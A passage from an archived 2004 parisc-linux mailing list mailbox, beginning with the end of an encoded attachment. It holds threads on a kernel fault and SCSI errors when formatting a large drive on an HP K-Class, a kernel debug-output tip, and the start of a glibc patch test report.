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
TJBk+ZJsaVimQDCa6Gn4pgQYmjBpKKZQRJpMaViSoCZNtJg0jNP0TeCsNETTWE1oaDQYGQA2
EFiF7Gc/YcncssjETaxcNGjTdE2csDSg0NBk/NPITNQ8vJMQDk0AcDRY0zhN2IA0pMlQ2SZQ
UJpQaXCmcHCacGlQplBQmlBpsKawsJqwadCm0NCa0GnwpvDwmvBp0IgyfUamPTiaS2lOpkFE
ml9pWqZVUJpzaXameXyaZ2lipm1omptpnqaRlJqPYLGIk5fEBIWLjYX/QK78uq6tuQa0vrCw
/bqA0U2sv0W7iq+iWdJ2jKLDfOHBydG3AoPOzs/0gqiRcwEj1+ayfYi5AoQODNFy1RcLDyg6
LAgofpgb2wAjKSYxDy4nLzR80Um3AHNcT0tbTlKi0VNLR8P6YGcCZHpwZnFlD1nNMNvukGeB
koBipYaYLj325UoNng+tEWegi1RQ2kSx9Ybw2sZWwMhpillJ8vVOCOWNMjwZtVUqDjaJacAT
Eg0JPK3ENTRpNAA5I2EaPCU8L74sM+DNgxsdGB3fFulAzy30YWIccWhrwOXtlaaxjJWQYZ4e
hZerTZo6oA05uf4zTzxasQ2X8moqvaPD9MTStM79MTTHP0yzzv0xKDHP0/PFv0/PFrgBKTGN
UWITs/db7VdmBviPudb0BM/UqGCZeaGvUJc8ub3xwbilrxewsLShxb9kM8upPo8bDG6kxzbE
odqWWe9jKB7znyEWVtnfviWmN3pi1pCjNYcdn0jmoXdzZDdvmZ5suLDNM8WCk7Sns/Oa58wX
vbGtruG3FvmbouXXwWUryvdcvZrQ9jzRR9zdaUqb+ppKxMQfoNL3+AVzz+M6K+ARUfn9hPCu
QuE4CQ427UUUdPhQ0wRVYm3VyLefXKtpPxXt6jroZ+SzcW/vAUIlMGVpUWx+fkZBc1taU2om
FXfyRmkMIC0cGhgaAhwSEBIcGpdCDnt2adzo9HF8sfM+fDxBanViCt8TX8cBi4yVCZMUhyK+
ugnadjh4jriVKuOAytfThXjr0xwd2QFj9nLIY8iJngbn+hz6pMj/8uLJ5kEGOiAgJ1QyNPAw
QzFDmlqw1EtAV0xQVm9wbWXjaW5jMWFriZbnpHJ30nsZDBAOrR+1Be00BxvGqPDPt+USiRQu
K316Djom01oiqTo9vjI3j1Y0+slCzm/C299NLOzx5O42Q/9rO7PLDySalpup8mSTrJPZq865
48q+PFrhPQt93WzlS0FFXVrHjVLuElLeasy48cd9PjwMuO7fC9v02gtnHIpwaSsrvjw7rRk+
nSAxdnTKp+OWlrga7DWHft65AK+66c2UysXBYZYsk1Ch063tEM1LG8PotqmNl4c6/JeB+tzE
sf91nJX/zsMl6dLbyO7WzsOR8BnR+uPve849ho3W6uw16iTbaHTC8Ufr/LbEVSvbyCwCE99a
HPUfFmFhejkYMi8x/hpwxvh1eoznlguW46xq4sfPflOlbCQbYVpG6UJWWAgAaUUXSUZM6yFC
HgNA/5aUKCkRx1Z4Uq/aS2W7Rn89SpVcRMCgVfHc9XiY0szttoRb5QYVoqp6rfyk/esVW64N
HdMNZjbatqNW6Hve0s0dypWGs3mG8aL2zDbQVP9y75TVU130whDz0lQIzkoBVPhC11EEAiUu
KyBEBbpmPCpz8YEMfh8CHX+ynWEbMOy2Yj201Q8DqFABN92Dmhs3nVYZpxYcViaJbn7yrWRn
nZHIrZ8VgVkvr2AizbCg4eW6BSu5gFHQxJDqBOGA+Q+f/Zznn7uEexA+wVyO2Cr8Hbfsdqn0
zMevKWXedwaxzIK4ePX0yfyx6qt04VQVGrDrogcHAD+C+p/kCWvjHgocgMAKFAYBdAdSHctz
LWhyQAUGDwlkIgUQDdEMBHByOHp6zHVnxyZ0Hgk2DAv6oIQ6NUffuRVrkJxDZVOvddgAokS+
iYj1r3eohZxCJZmwEDC/tYqN5Sqp4ttFfYvJEYyCf6oimtYSnxr0hBXz69Wu/iOYg/r17e3k
vLrVuvNQ19vTlVrnxI0f7f6kBuMgheCw5vQ68BtiziuLVDYiJK5V7ecuv95FFhIRfFgADxQc
DQ8WBHMQZ/JgrLamxvqbq3wHMB1XfqCEUmRAU0NdREhXAHFMPkFEMEExOTIsNM3I6m0Ay7q+
2s+2zMQG38HArq8a3usxAN+iopi4qoyx49W9o7y8rrZG9PWcppWuqVHoifzvd5357UGO9T8e
qKrd1Mr1ZejKCyG11hDTeMJ/ya4FGVEXaCQaA2QJr3Cn0zZaAAD9ZRJRUk+Q7jUKwwsWwTxD
GJAGVZFKQxB5ZgVqBHlBgii1gu1PizACRRB2Xamxqn3AP/5hQcwScRIxNfE7xGU1yCAyigsm
nQSDIIqydwsgfLJxCyBGslsLML/kv9O+TTxTgWZutKBxmg2EUmbJjois48bT+XgcjqZ1tJ0/
sdjqX2MUyXWmLE6acGlHkqwtTVSMO2Nj3MkmplwvmhxpMKYsXJnUfiRl0/xNbsQ08MlwfSz7
fz49BPhyFfXx9qQMSPiIZRqfZ8XE3TF6BMh1doIETVQqNQGEvUIJFEfBeRRsFn547B1OZY/x
xFE54uglgybqlwj1svdOgrfzuO0VD956k8kDfS4OFv14//p9CPtKxSwqAtjS1+j+RTV9MoAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


------=_NextPart_000_0011_00006FDB.000047D2--




From - Thu Nov 08 21:31:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: JKonrad@linotype.com
Newsgroups: gmane.linux.ports.parisc
Subject: Antwort: Re: Antwort: Re: [parisc-linux] Problem with SCSI in K-Class
Date: Tue, 20 Apr 2004 12:18:55 +0200
Lines: 303
Approved: news@gmane.org
Message-ID: <OF99575C04.2F1354CA-ONC1256E7C.0035643C@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623393 8524 80.91.229.3 (22 Nov 2014 02:29:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: JKonrad@linotype.com  Tue Apr 20 04:19:35 2004
Return-Path: <JKonrad@linotype.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.linotype.com (www.typotechnica.com [213.61.7.196])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1317484A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Apr 2004 04:19:34 -0600 (MDT)
Original-Received: by mail.linotype.com (Linotype Mail System, from userid 501)
	id D01FAB41A1; Tue, 20 Apr 2004 12:19:33 +0200 (CEST)
Original-Received: from www.fonts.de (bhonet00003.fonts.de [193.103.125.42])
	by mail.linotype.com (Linotype Mail System) with ESMTP
	id 10338B419F; Tue, 20 Apr 2004 12:19:33 +0200 (CEST)
Original-Received: from domino001.fonts.de (domino001.fonts.de [193.103.125.36])
	by www.fonts.de (Linotype Mail System) with ESMTP
	id EABEE4C1BE; Tue, 20 Apr 2004 12:19:30 +0200 (CEST)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on domino001/Linotype/DE(Release 5.0.12
	|February 13, 2003) at 04/20/2004 12:18:16 PM
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Apr 2004 10:19:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21480


Hi,

has there been any progress in this matter. I really would like to get the large drives running. Should I try another kernel?

Thanx,

Jay



                                                                                                                                                                      
                      Ryan Bradetich                                                                                                                                  
                      <rbradetich@uswest.net>                 An:       Jens_Konrad/Linotype/DE@linotype.com                                                          
                      Gesendet von:                           Kopie:    parisc-linux@lists.parisc-linux.org                                                           
                      parisc-linux-bounces@lists.paris        Thema:    Re: Antwort: Re: [parisc-linux] Problem with SCSI in K-Class                                  
                      c-linux.org                                                                                                                                     
                                                                                                                                                                      
                                                                                                                                                                      
                      16.04.2004 10:03                                                                                                                                
                                                                                                                                                                      
                                                                                                                                                                      




Hmm...

I will try to duplicate this problem using disk array over the weekend
to see if this is a generic problem.

Thanks,

- Ryan

On Thu, 2004-04-15 at 16:32, Jens_Konrad/Linotype/DE@linotype.com wrote:
> Hi,
>
>
>
> I just managed to get a screenshot:
>
>
>
> (none):~# mkfs /dev/sde1
> mke2fs 1.27 (8-Mar-2002)
> Filesystem label=> OS type: Linux
> Block size=4096 (log=2)
> Fragment size=4096 (log=2)
> 6111232 inodes, 12211708 blocks
> 610585 blocks (5.00%) reserved for the super user
> First data block=0
> 373 block groups
> 32768 blocks per group, 32768 fragments per group
> 16384 inodes per group
> Superblock backups stored on blocks:
>        32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632,
> 2654208,
>        4096000, 7962624, 11239424
>
> Writing inode tables:   0/373HHHHHHH  1/373HHHHHHH  2/373HHHHHHH
> 3/373HHHHHHH  4/373HHHHHHH  5/373HHHHHHH  6/373HHHHHHH  7/3
> Writing superblocks and filesystem accounting information: scsi1 (0:0)
> Target is suffering from tag starvation.
> SCSI disk error : host 1 channel 0 id 0 lun 0 return code = 8
> I/O error: dev 08:41, sector 34078720
> SCSI disk error : host 1 channel 0 id 0 lun 0 return code = 8
> I/O error: dev 08:41, sector 34078722
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 90 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 7c 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 c4 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 ac 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 10 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 9c 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 00 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 80 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 c4 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 ac 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 10 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 9c 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 00 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 80 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 02 04 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 01 d0 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 01 fc 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 02 00 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 8c 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 f4 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants device reset
>        0x2a 00 04 90 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants BUS reset, cmd 21e46e00
>        0x2a 00 04 90 00 28 00 00 08 00
> scsi1: Bus Reset detected, executing command 00000000, slot 00000000,
> dsp 001704a8[04a8]
> failing command because of reset, slot 21e88654, cmnd 21e46e00
> failing command because of reset, slot 21e88788, cmnd 21e47e00
> failing command because of reset, slot 21e888bc, cmnd 21e47800
> failing command because of reset, slot 21e889f0, cmnd 21e46200
> failing command because of reset, slot 21e88b24, cmnd 21e46000
> failing command because of reset, slot 21e88c58, cmnd 21e46400
> failing command because of reset, slot 21e88d8c, cmnd 21e46600
> failing command because of reset, slot 21e88ec0, cmnd 21e46a00
> failing command because of reset, slot 21e88ff4, cmnd 21e47c00
> failing command because of reset, slot 21e89128, cmnd 21e47a00
> failing command because of reset, slot 21e8925c, cmnd 21e47600
> failing command because of reset, slot 21e894c4, cmnd 21e47400
> failing command because of reset, slot 21e895f8, cmnd 21e47200
> failing command because of reset, slot 21e8972c, cmnd 21e47000
>
> Stack Dump:
> 21e90740:  0004ff0e 00000000 21e90670 21e90650
> 21e90730:  00000000 10228630 00000000 21e90000
> 21e90720:  00000000 00000000 00000000 21e90000
> 21e90710:  00000001 00000002 21f36000 00000002
> 21e90700:  21f3c040 1006c000 103aa010 103aa010
> 21e906f0:  1032b010 1020e448 103cd000 00000001
>
> Kernel addresses on the stack:
> [<10228630>]  [<1020e448>]  [<102248b8>]  [<1020e51c>]
> [<1020e808>]  [<1020e328>]  [<1020f3bc>]  [<1020f75c>]
> [<10108c4c>]  [<10108cf4>]  [<101375f4>]  [<10137a44>]
> [<10165c4c>]  [<1012307c>]  [<1020d3f0>]  [<10165ee0>]
> [<1020f608>]  [<1020d3f0>]  [<1020d600>]  [<101216f0>]
>
>
> Kernel Fault: Code=26 regs=21e90740 (Addr=00000048)
>
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001110 Not tainted
> r00-03  00000000 103ebab8 10228630 21e8972c
> r04-07  21e46e00 1020de94 21f60400 00002000
> r08-11  000003e8 0000ffff 00002000 00001000
> r12-15  00001002 21f61ea0 000000fd f0100000
> r16-19  f0000fe0 f0000074 f000006c 00000080
> r20-23  00000000 21e889f0 10065860 00000000
> r24-27  00000000 00000000 21f60404 10316010
> r28-31  21f60404 10326c00 21e90740 1020e51c
> sr0-3   00000000 00000003 00000000 00000003
> sr4-7   00000000 00000000 00000000 00000000
>
> IASQ: 00000000 00000000 IAOQ: 102286bc 102286c0
> IIR: 4a930090    ISR: 00000000  IOR: 00000048
> CPU:        0   CR30: 21e90000 CR31: 103d8000
> ORIG_R28: 00000000
>
>
> Jens Konrad
> 04/15/2004 11:57 PM
>
> An: Jens Konrad/Linotype/DE
> Kopie: Jens_Konrad/Linotype/DE@linotype.com,
> parisc-linux@lists.parisc-linux.org, Ryan Bradetich
> <rbradetich@uswest.net>
> Blindkopie:
> Thema: Antwort: Re: [parisc-linux] Problem with SCSI in K-Class
>
>
>
>
> btw
>
>
>
> this also happens when I format the device without a partition on it.
> I will try to get a screenshot.
>
> Jens Konrad
> 04/15/2004 11:38 PM
>
> An: Ryan Bradetich <rbradetich@uswest.net>
> Kopie: Jens_Konrad/Linotype/DE@linotype.com,
> parisc-linux@lists.parisc-linux.org
> Blindkopie:
> Thema: Antwort: Re: [parisc-linux] Problem with SCSI in K-Class
>
>
>   Hi,
>
>
>
> it is 2.4.23-pa3, I downloaded the kernel from
> http://parisc-linux.org/~rbrad/vmlinux-2.4.23-pa3.bz2 because I needed
> a kernel supporting Mux. I have not yet built my own kernel, not sure
> if that might help.
>
>
>
> Anyway, fdisk always told me that "Partition 1 does not end on
> cylinder boundary:". I then partitioned the drive using sector mode,
> and it worked, fdisk is now fine with the partition. But when I use
> mkfs.ext3 or even mkfs.ext2, it just comes to the writing of the
> superblock information, then it crashes. Kernel fault, code=26,
> regs=21e90740 (Addr=000000481) - if that helps, that is about all I
> can read.
>
>
>
> The drive is a 50GB UW SCSI from Seagate, I use an adapter to connect
> it to the SCSI cable of the K-Class.
>
> When I check /proc/scsi/scsi, the drive is absolutely okay, it is read
> perfectly. But the format is not done correctly, something is wrong
> with the superblock. When I try to mount /dev/sde1, I am told that the
> superblock could not be read.
>
> Thanx for your help,
>
>
>
> Jay
>
> Ryan Bradetich <rbradetich@uswest.net>
> Gesendet von: parisc-linux-bounces@lists.parisc-linux.org
> 04/15/2004 01:32 PM CST
>
> An: Jens_Konrad/Linotype/DE@linotype.com
> Kopie: parisc-linux@lists.parisc-linux.org
> Blindkopie:
> Thema: Re: [parisc-linux] Problem with SCSI in K-Class
>
>
> Which kernel?  I will see if I can duplicate on K460.
>
> Thanks,
>
> - Ryan
>
> On Thu, 2004-04-15 at 13:04, Jens_Konrad/Linotype/DE@linotype.com
> wrote:
> > Hi guys,
> >
> > I got my K-Class 200 working in single kernel mode, it is booting
> from high voltage scsi - on the normal scsi I got a CD-Rom and a
> Streamer.
> >
> > Now I took away the streamer and replaced it with a 50GB SCSI and
> booted the machine. During boot he can see the HD without any problems
> (it is a Seagate), and I can also address it via fdisk (it is
> > sde).
> >
> > But when I try to partition it, it comes as far as writing
> superblocks - and then I get a stack dump and the kernel panics, the
> machine freezes - and that was it.
> >
> > My guess is that the low voltage scsi-controller cannot handle the
> size of the HD - could that be?? Anyone have an idea how I could get
> the disk to work?? I would really love to use it, since I wanted
> > to use the K-Class 200 as a file server.
> >
> > Yours,
> >
> > Jay
> >
> >
> >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux











From - Thu Nov 08 21:31:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4 bug (fwd)
Date: Tue, 20 Apr 2004 12:41:28 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20040420114128.GE18329@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.58.0404200039410.31608@hammer.oc9.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623393 8526 80.91.229.3 (22 Nov 2014 02:29:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Roy Keene <parisc@rkeene.org>
Original-X-From: willy@www.linux.org.uk  Tue Apr 20 05:41:32 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 713DB484A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Apr 2004 05:41:32 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1BFtd2-0002qE-2V; Tue, 20 Apr 2004 12:41:28 +0100
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0404200039410.31608@hammer.oc9.org>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Apr 2004 11:41:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21481

On Tue, Apr 20, 2004 at 12:41:23AM -0500, Roy Keene wrote:
> Btw, `submit@bugs.parisc-linux.org' doesn't work.

Where do you see that email address still?  It should have been removed ...

> (double free() shouldn't cause the kernel to give page faults, running it
>  enough times eventually crashes the kernel)

What you see there is debug information to help you diagnose your app's
breakage ;-).  You can turn it off by changing #define PRINT_USER_FAULTS
to #undef PRINT_USER_FAULTS in arch/parisc/mm/fault.c.  I believe the
Debian kernel does this by default.

Eventually crashinig the kernel is a different matter.  Can you provide
more information about this?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?RE=3A=20=5Bparisc=2Dlinux=5D=20RE=3A=20=5BPATCH=5D=20glibc=2D2=2E3=2E3=20error=20with=20debian=20unstable=09compiler=2E=2E=2E?=
Date: Tue, 20 Apr 2004 14:22:30 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <40711E5600009520@ocpmta1.freegates.net>
References: <40711E5600000D4E@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623394 8527 80.91.229.3 (22 Nov 2014 02:29:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Tue Apr 20 06:22:34 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C82B49FA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Apr 2004 06:22:34 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1BFuGl-0003qd-00; Tue, 20 Apr 2004 14:22:31 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 20 Apr 2004 14:22:30 +0200
In-Reply-To: <40711E5600000D4E@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Apr 2004 12:22:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21482

Carlos,

Last week I encounter some pb to co last cvs, sorry.

This week and can apply your patch against the glibc cvs dated 20040419 (just
some hunk failled because in the uptream: great).

I just complete the 'make -k check' (on chroot disk) which finished with
just one more error then well known ones:
